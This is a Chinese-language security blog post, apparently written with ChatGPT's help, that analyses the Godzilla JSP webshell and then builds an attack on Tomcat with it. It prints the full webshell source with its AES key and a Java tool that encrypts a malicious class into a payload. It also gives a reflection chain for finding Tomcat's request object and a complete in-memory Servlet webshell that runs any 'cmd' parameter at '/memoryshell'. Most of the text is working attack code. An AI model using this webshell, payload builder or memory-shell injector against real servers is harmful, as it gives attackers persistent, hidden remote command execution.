借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘

原创
09/04 17:02
阅读数 26

前言

本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。

image-20230607134057823

分析

  • 首先对该木马进行格式化,以增强代码的可读性。得到如下代码

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:declaration>
        String xc = "3c6e0b8a9c15224a";
        String pass = "pass";
        String md5 = md5(pass + xc);
        class X extends ClassLoader
        {
            public X(ClassLoader z)
            {
                super(z);
            }
            public Class Q(byte[] cb)
            {
                return super.defineClass(cb, 0, cb.length);
            }
        }
        /*
        * 作用:AES解密
        * m:true加密,False解密
        * */
        public byte[] x(byte[] s, boolean m)
        {
            try
            {
                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
                return c.doFinal(s);
            }
            catch(Exception e)
            {
                return null;
            }
        }
        /*
        * 作用:md5加密
        * */
        public static String md5(String s)
        {
            String ret = null;
            try
            {
                java.security.MessageDigest m;
                m = java.security.MessageDigest.getInstance("MD5");
                m.update(s.getBytes(), 0, s.length());
                ret = new
                        java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
            }
            catch(Exception e)
            {}
            return ret;
        }
        /*
        * 作用:base64加密
        * */
        public static String base64Encode(byte[] bs) throws Exception
        {
            Class base64;
            String value = null;
            try
            {
                base64 = Class.forName("java.util.Base64");
                Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
                value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
                        {
                                byte[].class
                        }).invoke(Encoder, new Object[]
                        {
                                bs
                        });
            }
            catch(Exception e)
            {
                try
                {
                    base64 = Class.forName("sun.misc.BASE64Encoder");
                    Object Encoder = base64.newInstance();
                    value = (String) Encoder.getClass().getMethod("encode", new Class[]
                            {
                                    byte[].class
                            }).invoke(Encoder, new Object[]
                            {
                                    bs
                            });
                }
                catch(Exception e2)
                {}
            }
            return value;
        }
        /*
        * base64解密
        * */
        public static byte[]base64Decode(String bs) throws Exception
        {
            Class base64;
            byte[] value = null;
            try
            {
                base64 = Class.forName("java.util.Base64");
                Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
                value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
                        {
                                String.class
                        }).invoke(decoder, new Object[]
                        {
                                bs
                        });
            }
            catch(Exception e)
            {
                try
                {
                    base64 = Class.forName("sun.misc.BASE64Decoder");
                    Object decoder = base64.newInstance();
                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
                            {
                                    String.class
                            }).invoke(decoder, new Object[]
                            {
                                    bs
                            });
                }
                catch(Exception e2)
                {}
            }
            return value;
        }
    </jsp:declaration>
    <jsp:scriptlet>
        try
        {
            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
            data = x(data, false);//AES解密
            if(session.getAttribute("payload") == null)
            {
                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
            }
            else
            {
                request.setAttribute("parameters", new String(data));
                Object f = ((Class) session.getAttribute("payload")).newInstance();
                f.equals(pageContext);
                response.getWriter().write(md5.substring(0, 16));
                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
                response.getWriter().write(md5.substring(16));
            }
        }
        catch(Exception e){
            response.getWriter().write(e.getMessage());
        }
    </jsp:scriptlet>
</jsp:root>
  • 前期可以交付ChatGPT初步分析,理清各个函数的基本作用:

image-20230607134909049

  • 得知各个函数的基本功能之后我们主要看<jsp:scriptlet>中的内容:

try
        {
            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
            data = x(data, false);//AES解密
            if(session.getAttribute("payload") == null)
            {
                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
            }
            else
            {
                request.setAttribute("parameters", new String(data));
                Object f = ((Class) session.getAttribute("payload")).newInstance();
                f.equals(pageContext);
                response.getWriter().write(md5.substring(0, 16));
                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
                response.getWriter().write(md5.substring(16));
            }
        }
        catch(Exception e){
            response.getWriter().write(e.getMessage());
        }
  • 可以看到首先会获取pass参数中的内容,进行base64解密获得一个字节数组,传入给x(),该函数第二个参数为true时候是进行加密,而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在<jsp:declaration>已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload")是否为null,若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下:

未命名文件(89)

EXP构建

按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。

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exp.java

package exp;

import java.io.IOException;

public class exp {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/gg.txt");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  • 编译为class

javac exp.java
  • POC,我们可以利用木马中的x()base64Encode当做EXP构成部分即可

package Fvck;

import java.io.*;

class Fvck{

    public static byte[] readFileToByteArray(String filePath) {
        File file = new File(filePath);
        byte[] fileBytes = new byte[(int) file.length()];

        try (FileInputStream fis = new FileInputStream(file)) {
            fis.read(fileBytes);
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }

        return fileBytes;
    }
    public static byte[] AesEncode(byte[] s, boolean m)
    {
        String xc = "3c6e0b8a9c15224a";
        try
        {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        }
        catch(Exception e)
        {
            return null;
        }
    }
    public static String base64Encode(byte[] bs) throws Exception
    {
        Class base64;
        String value = null;
        try
        {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
                    {
                            byte[].class
                    }).invoke(Encoder, new Object[]
                    {
                            bs
                    });
        }
        catch(Exception e)
        {
            try
            {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]
                        {
                                byte[].class
                        }).invoke(Encoder, new Object[]
                        {
                                bs
                        });
            }
            catch(Exception e2)
            {}
        }
        return value;
    }

    public static void main(String[] args) throws Exception {
        String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));
        System.out.println(result);
    }
}

内存马注入

寻找Request

Java Object Searcher

基本使用方法

  • IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址

image-20230608134745602

  • java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如:

/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar
  • 回到IDEA->File->Project Structure->SDKs,将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。

image-20230608135436719

  • Tomcat上随便找个地方断点,后打开Evaluate

image-20230608140900703

  • 代码中设置日志输出文件夹,点击Evaluate

//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/Users/gqleung/Desktop");
searcher.searchObject();

image-20230608141437030

  • 在运行结束后会输出日志到保存的文件夹:

image-20230608143438929

  • 在其中找一条链子

TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [17] = {java.lang.Thread} 
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
        ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} 
         ---> global = {org.apache.coyote.RequestGroupInfo}
  • 创建一个线程根据上面链子寻找

image-20230608155228194

代码编写

与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group,我们通过当前线程去获取该对象。

  • 获取group

Thread thread = Thread.currentThread();//获取线程对象
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值

image-20230609150822826

  • 获取threads

获取threads方法与获取group基本一致

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);

image-20230609151523955

我们链子下一个对象是这个数组的第18个元素,也就是下标为17的元素,直接通过下标获取即可,注意一下数据类型。

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];

image-20230609151658901

  • 获取target

在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够,因此需要用Object去代替.

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);

image-20230609152419395

  • 获取this$0

获取方法以及原因同上

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);

image-20230609153450084

  • 获取handler

这里我们直接同上方法会报错,我们用Class.forName去指定包来获取看看

image-20230609154830435

我们却发现还是报错了,报错提示并不存在handler这个字段

image-20230609155007367

我们直接从依赖中看,AbstractProtocol确实不存在handler,但是存在handler数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler

image-20230609160208708

我们直接尝试从这个包获取handler,发现获取成功

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);

image-20230609160304524

  • 获取global

在获取到handler之后直接通过getClass获取即可

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
/*获取global*/
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
Object global = globalField.get(handler);
  • 回显链最终代码

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
/*获取global*/
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo)globalField.get(handler);
/*获取processors*/
Field processorsField = global.getClass().getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList)processorsField.get(global);
Object p0 = processors.get(0);
/*获取request*/
Field reqField = p0.getClass().getDeclaredField("req");
reqField.setAccessible(true);
org.apache.coyote.Request req = (org.apache.coyote.Request)reqField.get(p0);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
  • 结合内存马

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.RequestGroupInfo;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;


public class exp extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");
        String cmd = request.getParameter("cmd");
        PrintWriter out = response.getWriter();
        try {
            Process ps = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            String result = sb.toString();
            out.print(result);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
    static {
        try {
            Thread thread = Thread.currentThread();
            Field group = Class.forName("java.lang.Thread").getDeclaredField("group");
            group.setAccessible(true);
            ThreadGroup threadGroup = (ThreadGroup) group.get(thread);
            Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
            threads.setAccessible(true);
            Thread[] thread1 = (Thread[]) threads.get(threadGroup);
            Thread t17 = thread1[17];
            Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");
            targetField.setAccessible(true);
            Object target = targetField.get(t17);
            Field this$0Field = target.getClass().getDeclaredField("this$0");
            this$0Field.setAccessible(true);
            Object this$0 = this$0Field.get(target);
            Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
            handlerField.setAccessible(true);
            Object handler = handlerField.get(this$0);
            Field globalField = handler.getClass().getDeclaredField("global");
            globalField.setAccessible(true);
            RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
            Field processorsField = global.getClass().getDeclaredField("processors");
            processorsField.setAccessible(true);
            ArrayList processors = (ArrayList) processorsField.get(global);
            Object r0 = processors.get(0);
            Field reqField = r0.getClass().getDeclaredField("req");
            reqField.setAccessible(true);
            org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);
            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
            ServletContext servletContext = request.getServletContext();
            Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性
            applicationContextField.setAccessible(true);//设置该属性可访问性为True
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值
            Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值
            standarContextField.setAccessible(true);//设置该属性可访问性为True
            StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext
//注册Servlet
            Wrapper wrapper  = context.createWrapper();//创建一个Wrapper
            wrapper.setName("MemShellServlet");//设置Servlet名字
            wrapper.setServletClass(exp.class.getName());
            wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet
            context.addChild(wrapper);//添加进Context
            context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping
        } catch (Exception e) {
        }
    }
}

使用哥斯拉木马注入Tomcat Servlet内存马

  • 在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码)

image-20230609163959732

  • 需要访问两次才能触发

image-20230609164048486

  • 成功注入内存马

image-20230609164539751

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